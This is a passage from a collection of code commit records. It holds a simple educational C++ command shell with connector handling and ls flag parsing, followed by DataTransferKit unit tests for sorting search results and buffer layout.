false;\n bool valid = false;\n vector<string> files;\n parse(pch, cmd);\n valid = ls_parse(cmd, flags, files);\n if(!valid){\n cerr << \"Invalid flag\" << endl;\n exit(1);\n }\n else{\n cout << flags[0] << \" \" << flags[1] << \" \" << flags[2] << endl;\n for(unsigned int i = 0; i < files.size(); i++){\n cout << files.at(i) << endl;\n }\n status = 0;\n }\n cmd.clear();\n files.clear();\n flags[0] = false;\n flags[1] = false;\n flags[2] = false;\n exit(0);\n }\n else{\n waitpid(-1, &status, 0);\n }\n }\n\n else{\n \/\/fork the programm\n int pid = fork();\n \/\/if pid is -1 the fork failed so exit\n if(pid == -1){\n perror(\"fork\");\n exit(1);\n }\n \/\/if the pid is 0 the current id the current process is the child\n else if(pid == 0){\n \/\/call the parsing function on the command and the cmd vector\n \/\/to break it up into command and params\n parse(pch, cmd);\n \/\/set the size of the dynamic char** that will be passed into execvp\n int cmd_size = cmd.size() + 1;\n char** argc = new char*[cmd_size];\n \/\/for each string in cmd copy it into argc, which will be passed\n \/\/into execvp\n for(unsigned int i = 0 ; i < cmd.size(); i++ ){\n argc[i] = new char[cmd.at(i).size()];\n strcpy(argc[i], cmd.at(i).c_str());\n }\n \/\/set the last value of argc to be NULL so that execvp will work properly\n argc[cmd.size()] = NULL;\n \/\/call execvp on the first element of argc and the entirety of it\n \/\/if it returns -1 it has failed fo print an error and delete\n \/\/the dynamically allocated memory\n if(-1 == execvp(argc[0], argc)){\n perror(\"execvp\");\n delete[] argc;\n exit(1);\n }\n }\n \/\/otherwise it is the parrent process\n else{\n \/\/wait for any process to exit, in this case I only created on,\n \/\/and store its exit code in status\n if(-1 == waitpid(-1, &status, 0)){\n \t perror(\"waitpid\");\n \t \texit(1);\n }\n }\n }\n \/\/if the value of status is larger than 0\n \/\/it failed\n if(status > 0){\n sucs = false;\n }\n \/\/otherwise if succeeded\n else{\n sucs = true;\n }\n\n \/\/clear the vector holding the command to execute\n cmd.clear();\n\n \/\/run the next command if the connector logic and value of sucs allow it\n if((connector==\"&&\" && sucs) || (connector==\"||\" && !sucs) || (connector==\";\")){\n pch = strtok(NULL, connector.c_str());\n }\n \/\/otherwise return\n else{\n return;\n }\n \/\/if the next command is not NULL and is exit exit the program\n if(pch != NULL && isExit(pch)){\n exit(0);\n }\n }\n \/\/if there are no more commands to execute\/parse return\n return;\n}\n\n\n\/\/main takes in commands and passes them to run to execute\nint main(){\n\n \/\/continue until terminated by a conditional branch within run\n while(true){\n\n \/\/retrieves the login name\n \/\/and checks to make sure there was no error\n char* login = getlogin();\n if(login == NULL){\n perror(\"getlogin\");\n }\n\n \/\/sets up the host name variable, maximum of 128 chars\n char host[128];\n\n \/\/holds return value of gethostname\n int hostFlag;\n\n \/\/sets up input var\n string input;\n\n \/\/retrieves the host name and checks for errors\n if((hostFlag = gethostname(host, sizeof(host))) == -1){\n perror(\"gethostname\");\n }\n\n \/\/if both login and gethostname rerurned without error\n \/\/cout the login@host\n if(login != NULL && hostFlag != -1){\n cout << login << \"@\" << host << \"$ \";\n }\n \/\/otherwise cout vanilla prompt\n else{\n cout << \"$ \";\n }\n\n \/\/retrieve user input including spaces\n getline(cin, input);\n\n \/\/remove anything that is a comment from the users input\n input = commentRemoval(input);\n\n \/\/check for multiple connectors\n if(!multiConn(input)){\n \/\/determines the size of the input\n int input_size = input.size()+1;\n \/\/dynamically allocates a char*[] of the size of the input + 1\n char* str = new char[input_size];\n \/\/copies the input into the char* str[]\n strcpy(str, input.c_str());\n \/\/calls run on the users entered commands\n run(str);\n \/\/after running the dynamically allocated memory is deleted\n delete[] str;\n }\n \/\/if there are more than one connector do not run commands\n \/\/and cerr error\n }\n return 0;\n}\n<commit_msg>fixed ls parsing bug<commit_after>#include <iostream>\n#include <stdio.h>\n#include <ctype.h>\n#include <cstring>\n#include <vector>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <stdlib.h>\n#include <sys\/wait.h>\nusing namespace std;\n\n\/\/parses the entered command putting each string seperated\n\/\/by spaces into a vector passed in by reference\n\/\/the function utilizes strtok to do this\nvoid parse(char x[], vector<string> &v){\n char* tmp;\n \/\/separates the string by spaces\n tmp = strtok(x, \" \");\n while(tmp != NULL){\n \/\/stores in the vector\n v.push_back(tmp);\n \/\/searches for the next \" \" character\n tmp = strtok(NULL, \" \");\n }\n}\n\n\/\/the function returns false if the command passed in\n\/\/is \"exit\" or any spaced variation of it.\n\/\/returnd false otherwise\nbool isExit(char x[]){\n \/\/sets up vars necessary for comparison\n string tmp = x;\n string hold = \"exit\";\n char spc = ' ';\n unsigned int k = 0;\n\n \/\/if the size of the passed in char[] is less than that\n \/\/necessary for it to be exit return false\n if(tmp.size() < hold.size()){\n return false;\n }\n\n \/\/check each non-space character if within the first\n \/\/four characters any of the characters dont align with \"exit\" return false\n \/\/otherwise count how many more characters there are in the passed in string\n \/\/if there are more than 4 return false otherwise return true\n \/\/if a space appears when k is > 0 but < 4 return false, this prevents\n \/\/bugs like \"exi t\" from working\n for(unsigned int i = 0; i < tmp.size(); i++){\n if(tmp.at(i) != spc){\n if(k < hold.size() && tmp.at(i) != hold.at(k)){\n return false;\n }\n k++;\n }\n else if(k > 0 && k < hold.size()){\n return false;\n }\n }\n if(k != hold.size()){\n return false;\n }\n else{\n return true;\n }\n}\n\n\/\/traverses the entered list of commands\n\/\/and checks to see how many different kinds of\n\/\/connectors there are, if there are more than one\n\/\/it returns true else returns false\nbool multiConn(string x){\n int amp = 0;\n int ln = 0;\n int semi = 0;\n int total = 0;\n \/\/if any part of the string does not\n \/\/align with \"exit\" returns false, otherwise counts\n \/\/all characters after the passed in command\n for(unsigned int i = 0; i < x.size(); i++){\n if(x.at(i) == '&' && i != x.size()-1){\n if(x.at(i+1) == '&'){\n amp++;\n }\n }\n if(x.at(i) == '|' && i != x.size()-1){\n if(x.at(i+1) == '|'){\n ln++;\n }\n }\n if(x.at(i) == ';'){\n semi++;\n }\n\n }\n \/\/calculates the total amount of different connectors\n if(amp > 0){\n total++;\n }\n if(semi > 0){\n total++;\n }\n if(ln > 0){\n total++;\n }\n \/\/if more than one return true\n if(total > 1){\n cerr << \"Multiple connector types forbidden\" << endl;\n return true;\n }\n \/\/else false\n else{\n return false;\n }\n}\n\n\n\/\/the function searches for the '#' and\n\/\/removes anything after that character\nstring commentRemoval(string x){\n int comm = x.find('#');\n \/\/if no '#' is found return the entire string\n if(comm == -1){\n return x;\n }\n \/\/if the '#' is the first character return nothing\n else if(comm == 0){\n return \"\";\n }\n \/\/otherwise return every thing up to the '#'\n else{\n return x.substr(0, comm);\n }\n}\n\n\n\nbool isls(char x[]){\n string tmp = x;\n if(tmp.size() < 2){\n return false;\n }\n if(tmp.at(0) == 'l' && tmp.at(1) == 's'){\n return true;\n }\n return false;\n}\n\nbool multiCheck(string x, bool flags[]){\n string chk = \"alR\";\n for(unsigned int i = 1; i < x.size(); i++){\n if(chk.find(x.at(i)) < 0 || chk.find(x.at(i)) >= x.size()){\n return false;\n }\n else if(x.at(i) == 'a'){\n flags[0] = true;\n }\n else if(x.at(i) == 'l'){\n flags[1] = true;\n }\n else if(x.at(i) == 'R'){\n flags[2] = true;\n }\n }\n return true;\n}\n\nbool ls_parse(vector<string> cmd, bool flags[], vector<string> &files){\n if(cmd.size() < 0){\n return false;\n }\n if(cmd.at(0) != \"ls\"){\n return false;\n }\n for(unsigned int i = 1; i < cmd.size(); i++){\n if(cmd.at(i) == \"-a\"){\n flags[0] = true;\n }\n else if(cmd.at(i) == \"-l\"){\n flags[1] = true;\n }\n else if(cmd.at(i) == \"-R\"){\n flags[2] = true;\n }\n else if(cmd.at(i) == \"-\"){\n return false;\n }\n else if(cmd.at(i).at(0) == '-'){\n if(!multiCheck(cmd.at(i), flags)){\n return false;\n }\n }\n else{\n files.push_back(cmd.at(i));\n }\n }\n return true;\n}\n\n\/\/this function runs the command using fork and execvp\n\/\/and returns once all commands from the entered char[]\n\/\/have been executed\nvoid run(char str[]){\n\n \/\/needed to parse with strtok\n char* pch;\n\n \/\/holds the bool of if a command executed properly\n bool sucs = true;\n\n \/\/holds the return status of a fork\/execvp\n int status = 0;\n\n \/\/holds the connector used for the current list of comamnds\n string connector;\n\n \/\/holds a string version of the passed in char[] for later\n \/\/comparing\n string strz = str;\n\n \/\/the vector that holds the commands to be converted and executed\n vector<string> cmd;\n\n \/\/cbegins breaking the entered commands up by connector\n pch = strtok(str, \";\");\n\n \/\/if the command is empty return\n if(pch==NULL){\n return;\n }\n\n \/\/if using strtok with \";\" changed the strz\n \/\/set the connector to be \";\"\n else if(pch != strz){\n connector = \";\";\n }\n \/\/else if strz was unchanged use strtok with \"&&\"\n \/\/if this changes the string is NULL return\n \/\/of if strtok changed from the original value of strz set the connector\n if(pch == strz){\n pch = strtok(str, \"&&\");\n if(pch == NULL){\n return;\n }\n if(pch != strz){\n connector = \"&&\";\n }\n }\n \/\/repeat the above process but with \"||\" instead of \"&&\"\n if(pch == strz){\n pch = strtok(str, \"||\");\n if(pch == NULL){\n return;\n }\n if(pch != strz){\n connector = \"||\";\n }\n }\n\n \/\/if the pch is not NULL and is the exit command exit the programm\n if(pch != NULL && isExit(pch)){\n exit(0);\n }\n\n \/\/this while loop is where fork and execvp execute commands\n while(pch != NULL){\n\n if(isls(pch)){\n int pid = fork();\n if(pid == 0){\n bool flags[3];\n flags[0] = false;\n flags[1] = false;\n flags[2] = false;\n bool valid = false;\n vector<string> files;\n parse(pch, cmd);\n valid = ls_parse(cmd, flags, files);\n if(!valid){\n cerr << \"Invalid flag\" << endl;\n exit(1);\n }\n else{\n cout << flags[0] << \" \" << flags[1] << \" \" << flags[2] << endl;\n for(unsigned int i = 0; i < files.size(); i++){\n cout << files.at(i) << endl;\n }\n status = 0;\n }\n cmd.clear();\n files.clear();\n flags[0] = false;\n flags[1] = false;\n flags[2] = false;\n exit(0);\n }\n else{\n waitpid(-1, &status, 0);\n }\n }\n\n else{\n \/\/fork the programm\n int pid = fork();\n \/\/if pid is -1 the fork failed so exit\n if(pid == -1){\n perror(\"fork\");\n exit(1);\n }\n \/\/if the pid is 0 the current id the current process is the child\n else if(pid == 0){\n \/\/call the parsing function on the command and the cmd vector\n \/\/to break it up into command and params\n parse(pch, cmd);\n \/\/set the size of the dynamic char** that will be passed into execvp\n int cmd_size = cmd.size() + 1;\n char** argc = new char*[cmd_size];\n \/\/for each string in cmd copy it into argc, which will be passed\n \/\/into execvp\n for(unsigned int i = 0 ; i < cmd.size(); i++ ){\n argc[i] = new char[cmd.at(i).size()];\n strcpy(argc[i], cmd.at(i).c_str());\n }\n \/\/set the last value of argc to be NULL so that execvp will work properly\n argc[cmd.size()] = NULL;\n \/\/call execvp on the first element of argc and the entirety of it\n \/\/if it returns -1 it has failed fo print an error and delete\n \/\/the dynamically allocated memory\n if(-1 == execvp(argc[0], argc)){\n perror(\"execvp\");\n delete[] argc;\n exit(1);\n }\n }\n \/\/otherwise it is the parrent process\n else{\n \/\/wait for any process to exit, in this case I only created on,\n \/\/and store its exit code in status\n if(-1 == waitpid(-1, &status, 0)){\n \t perror(\"waitpid\");\n \t \texit(1);\n }\n }\n }\n \/\/if the value of status is larger than 0\n \/\/it failed\n if(status > 0){\n sucs = false;\n }\n \/\/otherwise if succeeded\n else{\n sucs = true;\n }\n\n \/\/clear the vector holding the command to execute\n cmd.clear();\n\n \/\/run the next command if the connector logic and value of sucs allow it\n if((connector==\"&&\" && sucs) || (connector==\"||\" && !sucs) || (connector==\";\")){\n pch = strtok(NULL, connector.c_str());\n }\n \/\/otherwise return\n else{\n return;\n }\n \/\/if the next command is not NULL and is exit exit the program\n if(pch != NULL && isExit(pch)){\n exit(0);\n }\n }\n \/\/if there are no more commands to execute\/parse return\n return;\n}\n\n\n\/\/main takes in commands and passes them to run to execute\nint main(){\n\n \/\/continue until terminated by a conditional branch within run\n while(true){\n\n \/\/retrieves the login name\n \/\/and checks to make sure there was no error\n char* login = getlogin();\n if(login == NULL){\n perror(\"getlogin\");\n }\n\n \/\/sets up the host name variable, maximum of 128 chars\n char host[128];\n\n \/\/holds return value of gethostname\n int hostFlag;\n\n \/\/sets up input var\n string input;\n\n \/\/retrieves the host name and checks for errors\n if((hostFlag = gethostname(host, sizeof(host))) == -1){\n perror(\"gethostname\");\n }\n\n \/\/if both login and gethostname rerurned without error\n \/\/cout the login@host\n if(login != NULL && hostFlag != -1){\n cout << login << \"@\" << host << \"$ \";\n }\n \/\/otherwise cout vanilla prompt\n else{\n cout << \"$ \";\n }\n\n \/\/retrieve user input including spaces\n getline(cin, input);\n\n \/\/remove anything that is a comment from the users input\n input = commentRemoval(input);\n\n \/\/check for multiple connectors\n if(!multiConn(input)){\n \/\/determines the size of the input\n int input_size = input.size()+1;\n \/\/dynamically allocates a char*[] of the size of the input + 1\n char* str = new char[input_size];\n \/\/copies the input into the char* str[]\n strcpy(str, input.c_str());\n \/\/calls run on the users entered commands\n run(str);\n \/\/after running the dynamically allocated memory is deleted\n delete[] str;\n }\n \/\/if there are more than one connector do not run commands\n \/\/and cerr error\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n * Copyright (c) 2012-2018 by the DataTransferKit authors *\n * All rights reserved. *\n * *\n * This file is part of the DataTransferKit library. DataTransferKit is *\n * distributed under a BSD 3-clause license. For the licensing terms see *\n * the LICENSE file in the top-level directory. *\n * *\n * SPDX-License-Identifier: BSD-3-Clause *\n ****************************************************************************\/\n\n#include <DTK_DetailsDistributedSearchTreeImpl.hpp>\n\n#include <Teuchos_UnitTestHarness.hpp>\n\n#include <algorithm> \/\/ fill\n#include <set>\n#include <vector>\n\nTEUCHOS_UNIT_TEST_TEMPLATE_1_DECL( DetailsDistributedSearchTreeImpl,\n sort_results, DeviceType )\n{\n std::vector<int> ids_ = {4, 3, 2, 1, 4, 3, 2, 4, 3, 4};\n std::vector<int> sorted_ids = {1, 2, 2, 3, 3, 3, 4, 4, 4, 4};\n std::vector<int> offset = {0, 1, 3, 6, 10};\n int const n = 10;\n int const m = 4;\n TEST_EQUALITY( ids_.size(), n );\n TEST_EQUALITY( sorted_ids.size(), n );\n TEST_EQUALITY( offset.size(), m + 1 );\n std::vector<int> results_ = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n std::vector<std::set<int>> sorted_results = {\n {3},\n {6, 2},\n {8, 5, 1},\n {9, 7, 4, 0},\n };\n std::vector<int> ranks_ = {10, 11, 12, 13, 14, 15, 16, 17, 18, 19};\n std::vector<std::set<int>> sorted_ranks = {\n {13},\n {16, 12},\n {18, 15, 11},\n {19, 17, 14, 10},\n };\n TEST_EQUALITY( results_.size(), n );\n TEST_EQUALITY( ranks_.size(), n );\n\n Kokkos::View<int *, DeviceType> ids( \"query_ids\", n );\n auto ids_host = Kokkos::create_mirror_view( ids );\n for ( int i = 0; i < n; ++i )\n ids_host( i ) = ids_[i];\n Kokkos::deep_copy( ids, ids_host );\n\n Kokkos::View<int *, DeviceType> results( \"results\", n );\n auto results_host = Kokkos::create_mirror_view( results );\n for ( int i = 0; i < n; ++i )\n results_host( i ) = results_[i];\n Kokkos::deep_copy( results, results_host );\n\n Kokkos::View<int *, DeviceType> ranks( \"ranks\", n );\n auto ranks_host = Kokkos::create_mirror_view( ranks );\n for ( int i = 0; i < n; ++i )\n ranks_host( i ) = ranks_[i];\n Kokkos::deep_copy( ranks, ranks_host );\n\n DataTransferKit::Details::DistributedSearchTreeImpl<\n DeviceType>::sortResults( ids, results, ranks );\n\n \/\/ COMMENT: ids are untouched\n Kokkos::deep_copy( ids_host, ids );\n TEST_COMPARE_ARRAYS( ids_host, ids_ );\n\n Kokkos::deep_copy( results_host, results );\n Kokkos::deep_copy( ranks_host, ranks );\n for ( int q = 0; q < m; ++q )\n for ( int i = offset[q]; i < offset[q + 1]; ++i )\n {\n TEST_EQUALITY( sorted_results[q].count( results_host[i] ), 1 );\n TEST_EQUALITY( sorted_ranks[q].count( ranks_host[i] ), 1 );\n }\n\n Kokkos::View<int *, DeviceType> not_sized_properly( \"\", m );\n TEST_THROW( DataTransferKit::Details::DistributedSearchTreeImpl<\n DeviceType>::sortResults( ids, not_sized_properly ),\n DataTransferKit::DataTransferKitException );\n}\n\nTEUCHOS_UNIT_TEST_TEMPLATE_1_DECL( DetailsDistributedSearchTreeImpl,\n count_results, DeviceType )\n{\n std::vector<int> ids_ref = {4, 3, 2, 1, 4, 3, 2, 4, 3, 4};\n std::vector<int> offset_ref = {\n 0, 0, 1, 3, 6, 10,\n };\n int const m = 5;\n int const nnz = 10;\n TEST_EQUALITY( ids_ref.size(), nnz );\n TEST_EQUALITY( offset_ref.size(), m + 1 );\n\n Kokkos::View<int *, DeviceType> ids( \"query_ids\", nnz );\n auto ids_host = Kokkos::create_mirror_view( ids );\n for ( int i = 0; i < nnz; ++i )\n ids_host( i ) = ids_ref[i];\n Kokkos::deep_copy( ids, ids_host );\n\n Kokkos::View<int *, DeviceType> offset( \"offset\" );\n\n DataTransferKit::Details::DistributedSearchTreeImpl<\n DeviceType>::countResults( m, ids, offset );\n\n auto offset_host = Kokkos::create_mirror_view( offset );\n Kokkos::deep_copy( offset_host, offset );\n TEST_COMPARE_ARRAYS( offset_host, offset_ref );\n}\n\ntemplate <typename View1, typename View2>\ninline void checkViewWasNotAllocated( View1 const &v1, View2 const &v2,\n bool &success,\n Teuchos::FancyOStream &out )\n{\n \/\/ NOTE: cannot use operator== here because array layout may \"change\" for\n \/\/ rank-1 views\n TEST_EQUALITY( v1.data(), v2.data() );\n TEST_EQUALITY( v1.span(), v2.span() );\n\n TEST_EQUALITY( (int)View1::rank, (int)View2::rank );\n TEST_ASSERT( ( std::is_same<typename View1::const_value_type,\n typename View2::const_value_type>::value ) );\n TEST_ASSERT( ( std::is_same<typename View1::memory_space,\n typename View2::memory_space>::value ) );\n\n TEST_EQUALITY( v1.dimension_0(), v2.dimension_0() );\n TEST_EQUALITY( v1.dimension_1(), v2.dimension_1() );\n TEST_EQUALITY( v1.dimension_2(), v2.dimension_2() );\n TEST_EQUALITY( v1.dimension_3(), v2.dimension_3() );\n TEST_EQUALITY( v1.dimension_4(), v2.dimension_4() );\n TEST_EQUALITY( v1.dimension_5(), v2.dimension_5() );\n TEST_EQUALITY( v1.dimension_6(), v2.dimension_6() );\n TEST_EQUALITY( v1.dimension_7(), v2.dimension_7() );\n}\n\ntemplate <typename View1, typename View2>\ninline void checkNewViewWasAllocated( View1 const &v1, View2 const &v2,\n bool &success,\n Teuchos::FancyOStream &out )\n{\n TEST_INEQUALITY( v1.data(), v2.data() );\n\n TEST_EQUALITY( (int)View1::rank, (int)View2::rank );\n TEST_ASSERT( ( std::is_same<typename View1::const_value_type,\n typename View2::const_value_type>::value ) );\n\n TEST_EQUALITY( v1.dimension_0(), v2.dimension_0() );\n TEST_EQUALITY( v1.dimension_1(), v2.dimension_1() );\n TEST_EQUALITY( v1.dimension_2(), v2.dimension_2() );\n TEST_EQUALITY( v1.dimension_3(), v2.dimension_3() );\n TEST_EQUALITY( v1.dimension_4(), v2.dimension_4() );\n TEST_EQUALITY( v1.dimension_5(), v2.dimension_5() );\n TEST_EQUALITY( v1.dimension_6(), v2.dimension_6() );\n TEST_EQUALITY( v1.dimension_7(), v2.dimension_7() );\n}\n\nTEUCHOS_UNIT_TEST( DetailsDistributedSearchTreeImpl,\n create_layout_right_mirror_view )\n{\n using DataTransferKit::Details::create_layout_right_mirror_view;\n using Kokkos::ALL;\n using Kokkos::LayoutLeft;\n using Kokkos::LayoutRight;\n using Kokkos::make_pair;\n using Kokkos::subview;\n using Kokkos::View;\n\n \/\/ rank-1 and not strided -> do not allocate\n View<int *, LayoutLeft> u( \"u\", 255 );\n auto u_h = create_layout_right_mirror_view( u );\n checkViewWasNotAllocated( u, u_h, success, out );\n\n \/\/ right layout -> do not allocate\n View<int **, LayoutRight> v( \"v\", 2, 3 );\n auto v_h = create_layout_right_mirror_view( v );\n checkViewWasNotAllocated( v, v_h, success, out );\n\n \/\/ left layout and rank > 1 -> allocate\n View<int **, LayoutLeft> w( \"w\", 4, 5 );\n auto w_h = create_layout_right_mirror_view( w );\n checkNewViewWasAllocated( w, w_h, success, out );\n\n \/\/ strided layout -> allocate\n auto x = subview( v, ALL, 0 );\n auto x_h = create_layout_right_mirror_view( x );\n checkNewViewWasAllocated( x, x_h, success, out );\n\n \/\/ subview is rank-1 and not strided -> do not allocate\n auto y = subview( u, make_pair( 8, 16 ) );\n auto y_h = create_layout_right_mirror_view( y );\n checkViewWasNotAllocated( y, y_h, success, out );\n}\n\n\/\/ Include the test macros.\n#include \"DataTransferKit_ETIHelperMacros.h\"\n\n\/\/ Create the test group\n#define UNIT_TEST_GROUP( NODE ) \\\n using DeviceType##NODE = typename NODE::device_type; \\\n TEUCHOS_UNIT_TEST_TEMPLATE_1_INSTANT( DetailsDistributedSearchTreeImpl, \\\n sort_results, DeviceType##NODE ) \\\n TEUCHOS_UNIT_TEST_TEMPLATE_1_INSTANT( DetailsDistributedSearchTreeImpl, \\\n count_results, DeviceType##NODE )\n\n\/\/ Demangle the types\nDTK_ETI_MANGLING_TYPEDEFS()\n\n\/\/ Instantiate the tests\nDTK_INSTANTIATE_N( UNIT_TEST_GROUP )\n<commit_msg>Add tests for sortAndDetermineBufferLayout()<commit_after>\/****************************************************************************\n * Copyright (c) 2012-2018 by the DataTransferKit authors *\n * All rights reserved. *\n * *\n * This file is part of the DataTransferKit library. DataTransferKit is *\n * distributed under a BSD 3-clause license. For the licensing terms see *\n * the LICENSE file in the top-level directory. *\n * *\n * SPDX-License-Identifier: BSD-3-Clause *\n ****************************************************************************\/\n\n#include <DTK_DetailsDistributedSearchTreeImpl.hpp>\n\n#include <Teuchos_UnitTestHarness.hpp>\n\n#include <algorithm> \/\/ fill\n#include <set>\n#include <vector>\n\nTEUCHOS_UNIT_TEST_TEMPLATE_1_DECL( DetailsDistributedSearchTreeImpl,\n sort_results, DeviceType )\n{\n std::vector<int> ids_ = {4, 3, 2, 1, 4, 3, 2, 4, 3, 4};\n std::vector<int> sorted_ids = {1, 2, 2, 3, 3, 3, 4, 4, 4, 4};\n std::vector<int> offset = {0, 1, 3, 6, 10};\n int const n = 10;\n int const m = 4;\n TEST_EQUALITY( ids_.size(), n );\n TEST_EQUALITY( sorted_ids.size(), n );\n TEST_EQUALITY( offset.size(), m + 1 );\n std::vector<int> results_ = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n std::vector<std::set<int>> sorted_results = {\n {3},\n {6, 2},\n {8, 5, 1},\n {9, 7, 4, 0},\n };\n std::vector<int> ranks_ = {10, 11, 12, 13, 14, 15, 16, 17, 18, 19};\n std::vector<std::set<int>> sorted_ranks = {\n {13},\n {16, 12},\n {18, 15, 11},\n {19, 17, 14, 10},\n };\n TEST_EQUALITY( results_.size(), n );\n TEST_EQUALITY( ranks_.size(), n );\n\n Kokkos::View<int *, DeviceType> ids( \"query_ids\", n );\n auto ids_host = Kokkos::create_mirror_view( ids );\n for ( int i = 0; i < n; ++i )\n ids_host( i ) = ids_[i];\n Kokkos::deep_copy( ids, ids_host );\n\n Kokkos::View<int *, DeviceType> results( \"results\", n );\n auto results_host = Kokkos::create_mirror_view( results );\n for ( int i = 0; i < n; ++i )\n results_host( i ) = results_[i];\n Kokkos::deep_copy( results, results_host );\n\n Kokkos::View<int *, DeviceType> ranks( \"ranks\", n );\n auto ranks_host = Kokkos::create_mirror_view( ranks );\n for ( int i = 0; i < n; ++i )\n ranks_host( i ) = ranks_[i];\n Kokkos::deep_copy( ranks, ranks_host );\n\n DataTransferKit::Details::DistributedSearchTreeImpl<\n DeviceType>::sortResults( ids, results, ranks );\n\n \/\/ COMMENT: ids are untouched\n Kokkos::deep_copy( ids_host, ids );\n TEST_COMPARE_ARRAYS( ids_host, ids_ );\n\n Kokkos::deep_copy( results_host, results );\n Kokkos::deep_copy( ranks_host, ranks );\n for ( int q = 0; q < m; ++q )\n for ( int i = offset[q]; i < offset[q + 1]; ++i )\n {\n TEST_EQUALITY( sorted_results[q].count( results_host[i] ), 1 );\n TEST_EQUALITY( sorted_ranks[q].count( ranks_host[i] ), 1 );\n }\n\n Kokkos::View<int *, DeviceType> not_sized_properly( \"\", m );\n TEST_THROW( DataTransferKit::Details::DistributedSearchTreeImpl<\n DeviceType>::sortResults( ids, not_sized_properly ),\n DataTransferKit::DataTransferKitException );\n}\n\nTEUCHOS_UNIT_TEST_TEMPLATE_1_DECL( DetailsDistributedSearchTreeImpl,\n count_results, DeviceType )\n{\n std::vector<int> ids_ref = {4, 3, 2, 1, 4, 3, 2, 4, 3, 4};\n std::vector<int> offset_ref = {\n 0, 0, 1, 3, 6, 10,\n };\n int const m = 5;\n int const nnz = 10;\n TEST_EQUALITY( ids_ref.size(), nnz );\n TEST_EQUALITY( offset_ref.size(), m + 1 );\n\n Kokkos::View<int *, DeviceType> ids( \"query_ids\", nnz );\n auto ids_host = Kokkos::create_mirror_view( ids );\n for ( int i = 0; i < nnz; ++i )\n ids_host( i ) = ids_ref[i];\n Kokkos::deep_copy( ids, ids_host );\n\n Kokkos::View<int *, DeviceType> offset( \"offset\" );\n\n DataTransferKit::Details::DistributedSearchTreeImpl<\n DeviceType>::countResults( m, ids, offset );\n\n auto offset_host = Kokkos::create_mirror_view( offset );\n Kokkos::deep_copy( offset_host, offset );\n TEST_COMPARE_ARRAYS( offset_host, offset_ref );\n}\n\ntemplate <typename View1, typename View2>\ninline void checkViewWasNotAllocated( View1 const &v1, View2 const &v2,\n bool &success,\n Teuchos::FancyOStream &out )\n{\n \/\/ NOTE: cannot use operator== here because array layout may \"change\" for\n \/\/ rank-1 views\n TEST_EQUALITY( v1.data(), v2.data() );\n TEST_EQUALITY( v1.span(), v2.span() );\n\n TEST_EQUALITY( (int)View1::rank, (int)View2::rank );\n TEST_ASSERT( ( std::is_same<typename View1::const_value_type,\n typename View2::const_value_type>::value ) );\n TEST_ASSERT( ( std::is_same<typename View1::memory_space,\n typename View2::memory_space>::value ) );\n\n TEST_EQUALITY( v1.dimension_0(), v2.dimension_0() );\n TEST_EQUALITY( v1.dimension_1(), v2.dimension_1() );\n TEST_EQUALITY( v1.dimension_2(), v2.dimension_2() );\n TEST_EQUALITY( v1.dimension_3(), v2.dimension_3() );\n TEST_EQUALITY( v1.dimension_4(), v2.dimension_4() );\n TEST_EQUALITY( v1.dimension_5(), v2.dimension_5() );\n TEST_EQUALITY( v1.dimension_6(), v2.dimension_6() );\n TEST_EQUALITY( v1.dimension_7(), v2.dimension_7() );\n}\n\ntemplate <typename View1, typename View2>\ninline void checkNewViewWasAllocated( View1 const &v1, View2 const &v2,\n bool &success,\n Teuchos::FancyOStream &out )\n{\n TEST_INEQUALITY( v1.data(), v2.data() );\n\n TEST_EQUALITY( (int)View1::rank, (int)View2::rank );\n TEST_ASSERT( ( std::is_same<typename View1::const_value_type,\n typename View2::const_value_type>::value ) );\n\n TEST_EQUALITY( v1.dimension_0(), v2.dimension_0() );\n TEST_EQUALITY( v1.dimension_1(), v2.dimension_1() );\n TEST_EQUALITY( v1.dimension_2(), v2.dimension_2() );\n TEST_EQUALITY( v1.dimension_3(), v2.dimension_3() );\n TEST_EQUALITY( v1.dimension_4(), v2.dimension_4() );\n TEST_EQUALITY( v1.dimension_5(), v2.dimension_5() );\n TEST_EQUALITY( v1.dimension_6(), v2.dimension_6() );\n TEST_EQUALITY( v1.dimension_7(), v2.dimension_7() );\n}\n\nTEUCHOS_UNIT_TEST( DetailsDistributedSearchTreeImpl,\n create_layout_right_mirror_view )\n{\n using DataTransferKit::Details::create_layout_right_mirror_view;\n using Kokkos::ALL;\n using Kokkos::LayoutLeft;\n using Kokkos::LayoutRight;\n using Kokkos::make_pair;\n using Kokkos::subview;\n using Kokkos::View;\n\n \/\/ rank-1 and not strided -> do not allocate\n View<int *, LayoutLeft> u( \"u\", 255 );\n auto u_h = create_layout_right_mirror_view( u );\n checkViewWasNotAllocated( u, u_h, success, out );\n\n \/\/ right layout -> do not allocate\n View<int **, LayoutRight> v( \"v\", 2, 3 );\n auto v_h = create_layout_right_mirror_view( v );\n checkViewWasNotAllocated( v, v_h, success, out );\n\n \/\/ left layout and rank > 1 -> allocate\n View<int **, LayoutLeft> w( \"w\", 4, 5 );\n auto w_h = create_layout_right_mirror_view( w );\n checkNewViewWasAllocated( w, w_h, success, out );\n\n \/\/ strided layout -> allocate\n auto x = subview( v, ALL, 0 );\n auto x_h = create_layout_right_mirror_view( x );\n checkNewViewWasAllocated( x, x_h, success, out );\n\n \/\/ subview is rank-1 and not strided -> do not allocate\n auto y = subview( u, make_pair( 8, 16 ) );\n auto y_h = create_layout_right_mirror_view( y );\n checkViewWasNotAllocated( y, y_h, success, out );\n}\n\nvoid checkBufferLayout( std::vector<int> const &ranks,\n std::vector<int> const &permute_ref,\n std::vector<int> const &unique_ref,\n std::vector<int> const &counts_ref,\n std::vector<int> const &offsets_ref, bool &success,\n Teuchos::FancyOStream &out )\n{\n std::vector<int> permute( ranks.size() );\n std::vector<int> unique;\n std::vector<int> counts;\n std::vector<int> offsets;\n DataTransferKit::Details::sortAndDetermineBufferLayout(\n Kokkos::View<int const *, Kokkos::HostSpace,\n Kokkos::MemoryTraits<Kokkos::Unmanaged>>( ranks.data(),\n ranks.size() ),\n Kokkos::View<int *, Kokkos::HostSpace,\n Kokkos::MemoryTraits<Kokkos::Unmanaged>>( permute.data(),\n permute.size() ),\n unique, counts, offsets );\n TEST_COMPARE_ARRAYS( permute_ref, permute );\n TEST_COMPARE_ARRAYS( unique_ref, unique );\n TEST_COMPARE_ARRAYS( counts_ref, counts );\n TEST_COMPARE_ARRAYS( offsets_ref, offsets 